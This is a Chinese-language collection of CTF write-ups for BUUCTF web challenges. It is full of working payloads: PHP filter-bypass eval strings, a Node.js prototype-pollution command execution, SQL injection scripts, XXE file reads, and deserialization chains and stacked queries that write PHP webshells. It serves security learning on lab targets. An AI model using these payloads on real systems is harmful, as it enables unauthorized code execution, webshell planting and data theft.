BUUCTF记录2

BUU第二份

[ISITDTU 2019]EasyPHP

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

strlen(count_chars(strtolower($_), 0x3)) > 0xd

先看这个判断,count_chars函数用法如下

参数 描述
string 必需。规定要检查的字符串。
mode 可选。规定返回模式。默认是 0。有以下不同的返回模式:
0 - 数组,ASCII 值为键名,出现的次数为键值1 - 数组,ASCII 值为键名,出现的次数为键值,只列出出现次数大于 0 的值
2 - 数组,ASCII 值为键名,出现的次数为键值,只列出出现次数等于 0 的值
3 - 字符串,带有所有使用过的不同的字符
4 - 字符串,带有所有未使用过的不同的字符

那么上述判断条件就是要保证传入的数据中有不多于13中不同的字符,先使用phpinfo查看信息

?.=(~%8F%97%8F%96%91%99%90)();

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-26 15.30.06.png)

可以使用scandir来扫描文件,构建payload:print_r(scandir('.'))

使用异或脚本生成

str="print_r"
for i in str:
    print(hex(int(hex(ord(i)),16) ^ 0xff),end='')

生成的payload如下

?.=((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%d1)^(%ff)))); 

但是此时我们发现超过了13个不同字符的限制,所以我们需要通过异或缩减原始字符数量

now ='\'().;_acdinprst'
for i in now :
    for j in now:
        for k in now :
            for m in now :
                if ord(j)^ord(k)^ord(m) == ord(i):
                    if(j==k or j==m or m==k ):
                        continue
                    else :
                        print(i+'=='+j + '^'+ k +'^'+m)

结果中可供替换的字符有很多,挑出三个好用的

t = s^c^d
s^0xff=0x8c
c^0xff=0x9c 
d^0xff=0x9b
n = i^c^d
i^0xff=0x96
c^0xff=0x9c
d^0xff=0x9b
r = a^c^p
a^0xff=0x9e
c^0xff=0x9c
p^0xff=0x8f

最终异或时候将不需要异或的字符串异或0xFF两次即可

print_r=((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))
scandir=((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))
最终payload:?.=((%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%9c%ff%9c%9c%ff%9c)^(%ff%8f%ff%9b%9b%ff%8f))(((%ff%ff%ff%ff%ff%ff%ff)^(%8c%9c%9e%96%9b%96%9e)^(%ff%ff%ff%9c%ff%ff%9c)^(%ff%ff%ff%9b%ff%ff%8f))((%d1)^(%ff)));

获得文件名,尝试访问发现没有权限,只能使用函数读取readfile(end(scandir('.')))

Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

真·最终payload

?.=((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

[GYCTF2020]Ez_Express

本题触及知识盲区,乖乖学习node.js去咯

首先还是要了解一下node.js,通俗意义上理解就是javascript的后端版本,所以基本上语法是和javascript一样的,这里贴个大佬的node.js相关安全问题总结,然后就是这道题了,是node.js的原型链污染

node.js的原型链污染

在js中万物皆对象,而在js我们如果想要定义一个类的话就需要使用类似于构造函数的方式来构造

function Foo() {
    this.bar = 1
}
new Foo()

类中的方法也同样可以写在构造函数内

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}
(new Foo()).show()

但是这么写的问题是,我们每新建一个Foo对象时,this.show函数就会执行一次,也就是说,show方法实际上是被绑定在对象上而不是该对象的“类”上。而我们希望在创建类的时候只创建一次show方法,此时我们就需要使用原型(prototype)了

function Foo() {
    this.bar = 1
}

Foo.prototype.show = function show() {
    console.log(this.bar)
}

let foo = new Foo()
foo.show()

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ == Foo.prototype

所以

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性
  3. 所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制

那么问题就出在对于js来说,万物皆对象,只要我们不断的向上访问__proto__属性,再对其中的某个属性进行修改,总能找到相对于我们需要修改的类的父类,此时再新建我们需要修改的类时就自动带上了我们修改的内容

以上全是知识,正式开始做题

首先就是这个

用admın经过toUpperCase处理后变成ADMIN,进去之后没啥头绪,扫个目录吧,www.zip拿到源码,可以看到res中的outputFunctionName属性为空,可以进行污染,并且在info中直接获得的就是outputFunctionName中的内容

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});

再加上上面的clone方法

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

此时我们向/action中传入json编码后的payload

POST:
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}

再访问info即可获取flag

[安洵杯 2019]不是文件上传

传文件,试后缀,扫目录都不行,看源码

<?php
class helper {
	protected $folder = "pic/";
	protected $ifview = False; 
	protected $config = "config.txt";
	// The function is not yet perfect, it is not open yet.

	public function upload($input="file")
	{
		$fileinfo = $this->getfile($input);
		$array = array();
		$array["title"] = $fileinfo['title'];
		$array["filename"] = $fileinfo['filename'];
		$array["ext"] = $fileinfo['ext'];
		$array["path"] = $fileinfo['path'];
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);
		$id = $this->save($array);
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

	public function getfile($input)
	{
		if(isset($input)){
			$rs = $this->check($_FILES[$input]);
		}
		return $rs;
	}

	public function check($info)
	{
		$basename = substr(md5(time().uniqid()),9,16);
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

	public function save($data)
	{
		if(!$data || !is_array($data)){
			die("Something wrong!");
		}
		$id = $this->insert_array($data);
		return $id;
	}

	public function insert_array($data)
	{	
		$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

	public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);
	}
}

?>
//upload.php
include("./helper.php");
class upload extends helper {
	public function upload_base(){
		$this->upload();
	}
}

if ($_FILES){
	if ($_FILES["file"]["error"]){
		die("Upload file failed.");
	}else{
		$file = new upload();
		$file->upload_base();
	}
}

$a = new helper();
//show.php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
	if($_GET["delete_all"] == "true"){
		$show->Delete_All_Images();
	}
}
$show->Get_All_Images();

class show{
	public $con;

	public function __construct(){
		$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
		if (mysqli_connect_errno($this->con)){ 
   			die("Connect MySQL Fail:".mysqli_connect_error());
		}
	}

	public function Get_All_Images(){
		$sql = "SELECT * FROM images";
		$result = mysqli_query($this->con, $sql);
		if ($result->num_rows > 0){
		    while($row = $result->fetch_assoc()){
		    	if($row["attr"]){
		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
					$attr = unserialize($attr_temp);
				}
		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		    }
		}else{
		    echo "<p>You have not uploaded an image yet.</p>";
		}
		mysqli_close($this->con);
	}

	public function Delete_All_Images(){
		$sql = "DELETE FROM images";
		$result = mysqli_query($this->con, $sql);
	}
}
?>

找到可供利用的方法

public function view_files($path){
	if ($this->ifview == False){
		return False;
		//The function is not yet perfect, it is not open yet.
	}
	$content = file_get_contents($path);
	echo $content;
}

反序列化的方法

public function Get_All_Images(){
	$sql = "SELECT * FROM images";
	$result = mysqli_query($this->con, $sql);
	if ($result->num_rows > 0){
	    while($row = $result->fetch_assoc()){
	    	if($row["attr"]){
	    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
				$attr = unserialize($attr_temp);
			}
	        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
	    }
	}

序列化的方法

public function upload($input="file")
{
	$fileinfo = $this->getfile($input);
	$array = array();
	$array["title"] = $fileinfo['title'];
	$array["filename"] = $fileinfo['filename'];
	$array["ext"] = $fileinfo['ext'];
	$array["path"] = $fileinfo['path'];
	$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
	$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
	$array["attr"] = serialize($my_ext);
	$id = $this->save($array);
	if ($id == 0){
		die("Something wrong!");
	}
	echo "<br>";
	echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

首先构造helper类

<?php
class helper
{
    protected $ifview=true;
    protected $config="/flag";
}
$a = new helper();
echo serialize($a);
echo bin2hex(serialize($a));
?>
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}

题目中会将序列化后的\0*\0转为\0\0\0再存入数据库并且在取出是逆向使用,其实对于我们的注入没有任何影响

然后查看sql语句构造方法$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";在该方法中,我们可以使用#截断来注释掉后面内容,在文件名处构造payload进行sql注入,而\0字符不显示,使用16进制编码来将字符串注入

payload:
文件名:
1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.jpg

[极客大挑战 2020]Roamphp1-Welcome

405换POST,roam1[]=1&roam2[]=2

[RoarCTF 2019]Online Proxy

看源码,发现注释中存在我们的信息,存在Last IP,应该是被写入了数据库,尝试在X-Forward-For处构造payload,确实存在,使用1' or '1进行测试,发现返回的Last IP变成了1,说明存在SQL注入,构造语句

0' or if() or '0

这样在结果正确时就会返回1

语句的执行顺序是

1、读取IP,并且回显到Current IP位置

2、传入任意不同IP,此时Last IP中的语句被写入数据库

3、传入第二次访问的IP,此时由于与上次访问IP相同,会从数据库中取出注入的语句并且执行回显,完成注入

构造脚本

# coding:utf-8 
import requests
import time
url = 'http://node3.buuoj.cn:25869/'

res = ''
for i in range(1,200):
    print(i)
    left = 31
    right = 127
    mid = left + ((right - left)>>1)
    while left < right:
        #payload = "0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}) or '0".format(i,mid)
        #payload  = "0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'),{},1))>{}) or '0".format(i,mid)
        #payload  = "0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e'),{},1))>{}) or '0".format(i,mid)
        payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid)
        headers = {
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)

        payload = '111'
        headers = {
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)

        payload = '111'
        headers = {
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
                    'X-Forwarded-For': payload
                    } 
        r = requests.post(url = url, headers = headers)


        if r.status_code == 429:
            print('too fast')
            time.sleep(2)
        if 'Last Ip: 1'  in r.text:
            left = mid + 1
        elif 'Last Ip: 1' not in r.text:
            right = mid 
        mid = left + ((right-left)>>1)
    if mid == 31 or mid == 127:
        break
    res += chr(mid)
    print(str(mid),res)
    time.sleep(1)
#information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
#F4l9_t4b1e
#F4l9_C01uMn

[HarekazeCTF2019]Avatar Uploader 1

传图片马不通过估计是因为getimagesize没有拿到大小信息,自己搞一个就行,上传发现啥也没得,就换了个头像,看源码咯

<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
  error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
  error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
  error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
  error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
  // I hope this never happens...
  error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

可以看到if ($size[2] !== IMAGETYPE_PNG)成立的话就会输出flag

getimagesize返回结果说明

  • 索引 0 给出的是图像宽度的像素值
  • 索引 1 给出的是图像高度的像素值
  • 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
  • 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 标签
  • 索引 bits 给出的是图像的每种颜色的位数,二进制格式
  • 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
  • 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);

所以我们现在需要的条件是:

1、文件经过finfo_file方法检测到的是PNG图片

2、getimagesize函数返回图片信息,第三个元素不能等于IMAGETYPE_PNG,也就是不能为3

finfo_file方法是通过检测文件头的十六进制信息来判断文件类型的,那么我们一点点删除直到finfo_file能读出类型而getimagesize读不出内容即可

[CISCN2019 华东南赛区]Web4

Read Something,传参读文件试试/etc/passwd读到了,那再读读环境文件吧/proc/self/environ,看到python文件位置,读源码

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

可以看到如果想拿到flag,就要在session处构造username为fuck,再看SECRET_KEY

random.seed(uuid.getnode())这里的getnode用于获取网络接口的mac地址,如果机器有多个mac地址,则返回通用管理的mac地址

str(random.random()*233)此处的随机数由于之前播撒了种子,所以生成的是伪随机数

所以要先读一下环境的网卡地址/sys/class/net/eth0/address,然后用脚本得到SECRET_KEY

random.seed(0xae3fa6c532bd)
randStr = str(random.random()*233)
print(randStr)

伪造session

上传发现不行,寄了以后再来填坑

[BSidesCF 2019]SVGMagic

冷知识:SVG格式是由xml语法定义的

关于SVG上传造成的漏洞可以看这里

所以自然联想到XXE漏洞

构造payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/pwd/flag.txt">
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

上传拿flag环境似乎有问题,不管怎么传都会报错

[N1CTF 2018]eating_cms

扫出注册界面,注册登录,发现参数传递,尝试使用伪协议读取文件成功

//user.php
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>
//function.php
<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}

function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

查看ffffllllaaaaggg,发现被过滤了
/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
但是parse_url解析漏洞,当url种出现下面这种情况的url,会解析错误,返回false
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
读取到这个文件了

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

继续查看m4aaannngggeee

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";

?>

去看看upload.html,再转回upllloadddd.php

//upllloadddd.php
<?php
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
?>

在这没有任何过滤,直接修改文件名就能执行系统命令

[FireshellCTF2020]Caas

试了试php和python代码,都编译失败,各种编程语言都尝试一下发现是C的编译器,你好世界试试

#include <stdio.h>
int main() {
    printf("Hello, World! \n");
    return 0;
}

看wp知道是头文件包含报错,试试/etc/passwd,有回显

直接包含flag拿到

October 2019 Twice SQL Injection

题目名字很明显了,二次注入,注入点在username处

kkk' union select database() #

rua' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

kkk' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

kkk' union select flag from flag #

做完可以看看源码语句被构造成了什么样

插入
if (isset($_POST['username']) && $_POST['username'] != "") {
	$username = addslashes($_POST['username']);
	$password = md5($_POST['password']);
	if (mysql_query("insert into users(username,password,info) values ('{$username}','{$password}','十月太懒,没有简介');")) {
			header("Location: /?action=login");
}
取出
$info = query("select info from users where username='{$_SESSION['username']}';");

可以看到从数据库中取出info数据的时候并没有对username进行addslash处理,会导致查询的是kkk这个用户的信息,但是我们并没有注册过这个用户,导致后面的union select执行,产生了二次注入漏洞

[EIS 2019]EzPOP

上来就给了源码,不错不错个毛线啊md这什么玩意啊!!!!!!!!!

<?php
error_reporting(0);

class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);//这个函数反转数组中所有的键以及它们关联的值,原来是1->path,现在是path->1
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);//此处比较两个数组的键名,并返回交集
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);//传入了cache变量,而我们这里发现并没有cache这个变量,所以这个需要后续把变量定义传值
        return json_encode([$cleaned, $this->complete]);//看到返回值被json_encode
    }
    public function save() {
        $contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);//这里set函数在B类中存在,到后面再审计
    }
    public function __destruct() {//明显这里就是反序列化头了
        if (!$this->autosave) {
            $this->save();
        }
    }
}
class B {
    protected function getExpireTime($expire): int {//这边返回的是int参数
        return (int) $expire;
    }
    public function getCacheKey(string $name): string {//拼接字符串
        return $this->options['prefix'] . $name;
    }
    protected function serialize($data): string {//反正就是把所有内容经过options['serialize']名称函数转换了
        if (is_numeric($data)) {
            return (string) $data;
        }
        $serialize = $this->options['serialize'];
        return $serialize($data);
    }
    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;
        if (is_null($expire)) {//这边$expire可控,直接非null
            $expire = $this->options['expire'];
        }
        $expire = $this->getExpireTime($expire);//转int类型
        $filename = $this->getCacheKey($name);//这里会把内容变成$this->options['prefix'].$name
        $dir = dirname($filename);//把如/var/www/html/index.php的字符串转为/var/www/html这样
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);//把传入的$value转为字符串
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩,直接options['data_compress']=0绕过
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;//这里需要绕过死亡exit
        $result = file_put_contents($filename, $data);//这很明显写shell了
        if ($result) {
            return true;
        }
        return false;
    }
}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

写一下绕过死亡exit的方法,使用base64解码<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n这个字符串中真正会被base64解码识别到的内容实际上是php12位长度的数字exit而base64又是以4个字节为一组来进行解码的,所以我们data中的内容就是随便一个单字符加上一句话木马base64编码后的内容即可

最终构造出的链子就是触发A类销毁引导B类set函数执行

//exp.php
<?php
error_reporting(0);

class A {
    protected $store;
    protected $key;//文件的name
    protected $expire;//无所谓其实
    public function __construct()
    {
        $this->cache = array();
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["kkk"]);?>'));
        $this->key = "shell.php";
        $this->store = new B();
        $this->autosave = false;
        $this->expire = 0;
    }
}
class B {
    public $options = array();
    function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
        $this->options['data_compress'] = false;
    }
}
print(urlencode(serialize(new A)));

[WMCTF2020]Make PHP Great Again

PHP最新版的小Trick, require_once包含的软链接层数较多时once的hash匹配会直接失效造成重复包含

[极客大挑战 2020]Greatphp

先扔一个exp

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

}

$str = "?><?=include~".urldecode("%d0%99%93%9e%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));
?>

[SUCTF 2018]MultiSQL

注册登录,在头像处似乎有文件上传

上传后发现任何文件都被重命名为jpg格式

用户信息处有sql注入点,可使用堆叠注入

过滤了大量关键字,用设定语句变量绕过

str="select '<?php eval($_POST[kkk]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
	if i == 0:
		print('char(%s'%ord(str[i]),end="")
	else:
		print(',%s'%ord(str[i]),end="")
print(')')

构造写shell payload如下

2;set @a=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,107,107,107,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @a;execute query;

RCE拿flag

[SWPU2019]Web4

SQL注入,在username处放入单引号报错,但是再加上;就能执行,说明存在堆叠注入,先构造写shell语句发现无法写入,所以构造布尔注入语句

import requests, time
import json


def str_to_hex(strings):
    by = bytes(strings, 'UTF-8')  # 先将输入的字符串转化成字节码
    hexstring = by.hex()
    return hexstring
url = "http://b28f3ae7-5844-4587-9d21-69687f9fc61d.node4.buuoj.cn:81/index.php?r=Login/Login"
flag = ""
for i in range(1, 100):
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high:
        payload = "select if(ascii(substr((select flag from flag),{},1))>{},sleep(2),0)".format(i, mid)
        zpayload = "1';set @a=0x{};prepare b from @a;execute b;".format(str_to_hex(payload))
        data = {
            'username': zpayload,
            'password': '111'
        }
        datas = json.dumps(data)
        time1 = time.time()
        r = requests.post(url, data=datas)
        time2 = time.time()
        times = time2 - time1
        if times > 2:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
        print(low, mid, high, times)
    flag += chr(mid)
    print(flag)
